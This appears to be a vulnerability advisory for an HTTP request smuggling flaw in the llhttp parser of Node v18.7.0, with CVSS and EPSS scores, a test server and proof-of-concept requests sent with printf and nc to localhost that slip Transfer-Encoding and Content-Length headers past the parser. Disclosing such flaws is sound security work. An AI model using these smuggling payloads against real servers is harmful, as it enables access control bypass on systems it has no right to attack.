9.8 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
7.5 High
CVSS2
Access Vector
NETWORK
Access Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:L/Au:N/C:P/I:P/A:P
0.005 Low
EPSS
Percentile
73.9%
Summary:
The llhttp
parser in the http
module in Node v18.7.0 does not correctly handle header fields that are not terminated with CLRF. This may result in HTTP Request Smuggling.
Description:
The following chunked request is processed. It should be rejected as Transfer-Encoding
header obfuscation may result in HRS when the upstream proxy does not process the Transfer-Encoding
header.
A header that precedes the Transfer-Encoding
, contains an empty value, and is not properly delimited with CLRF may be used for TE obfuscation.
POST / HTTP/1.1
Host: localhost:5000
x:\nTransfer-Encoding: chunked
1
A
0
The request is rejected when the preceding header has a value but improper CLRF.
POST / HTTP/1.1
Host: localhost:5000
x:x\nTransfer-Encoding: chunked
1
A
0
Server
Run the server: node app.js
// https://nodejs.org/en/docs/guides/anatomy-of-an-http-transaction/
const http = require('http');
http.createServer((request, response) => {
let body = [];
request.on('error', (err) => {
response.end("Request Error: " + err)
}).on('data', (chunk) => {
body.push(chunk);
}).on('end', () => {
body = Buffer.concat(body).toString();
// log the body to stdout to catch the smuggled request
console.log("Response");
console.log(request.headers);
console.log(body);
console.log("---");
response.on('error', (err) => {
// log the body to stdout to catch the smuggled request
response.end("Response Error: " + err)
});
response.end("Body length: " + body.length.toString() + " Body: " + body);
});
}).listen(5000);
Payload
printf "POST / HTTP/1.1\r\n"\
"Host: localhost\r\n"\
" x:\nTransfer-Encoding: chunked\r\n"\
"\r\n"\
"1\r\n"\
"A\r\n"\
"0\r\n"\
"\r\n" | nc localhost 5000
Output
HTTP/1.1 200 OK
Date: Sat, 20 Aug 2022 02:59:38 GMT
Connection: keep-alive
Keep-Alive: timeout=5
Content-Length: 22
Body length: 1 Body: A
Note:
printf "POST / HTTP/1.1\r\n"\
"Host: localhost\r\n"\
" Transfer-Encoding: yeet\r\n"\
" Transfer-Encoding: \n"\
" Transfer-Encoding: chunked\r\n"\
"\r\n"\
"1\r\n"\
"A\r\n"\
"0\r\n"\
"\r\n" | nc localhost 5000
This also works with the resulting wonky header:
HTTP/1.1 200 OK
Date: Sat, 20 Aug 2022 03:06:09 GMT
Connection: keep-alive
Keep-Alive: timeout=5
Content-Length: 22
Body length: 1 Body: A
Response
{ host: 'localhost:5000', 'transfer-encoding': 'yeet, , chunked' }
A
CVE-2022-23315 relates to handling of newline bytes in the field-value. Header field-values should only contain optional trailing whitespace and VCHAR (visible ascii characters). Node accepting a CLRF in the field is an incorrect implementation of the field-value parser.
This bug is different because it relates to handling of header fields immediately preceding a header such as Transfer-Encoding
. When the preceding header is not properly terminated with a CLRF and when the value is empty, node will accept the Transfer-Encoding
header (or any other header such as Content-Length
). It should be rejected as a 400.
Here’s a better example for you:
This is invalid and is rejected.
x:a\nTransfer-Encoding: chunked\r\n
This is invalid but accepted by latest node release as a valid transfer-encoding.
x:\nTransfer-Encoding: chunked\r\n
Let’s look at Content-Length because this may also be abused (along with Transfer-Encoding
) to achieve HRS.
This is rejected. That’s good!
printf "POST / HTTP/1.1\r\n"\
"Host: localhost\r\n"\
"X:X\nContent-Length: 4\r\n"\
"AAAA\r\n"
"\r\n" | nc localhost 5000
This is accepted. That’s borked!
printf "POST / HTTP/1.1\r\n"\
"Host: localhost\r\n"\
"X:\nContent-Length: 4\r\n"\
"AAAA\r\n"
"\r\n" | nc localhost 5000
HTTP Request Smuggling can lead to access control bypass.
9.8 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
7.5 High
CVSS2
Access Vector
NETWORK
Access Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:L/Au:N/C:P/I:P/A:P
0.005 Low
EPSS
Percentile
73.9%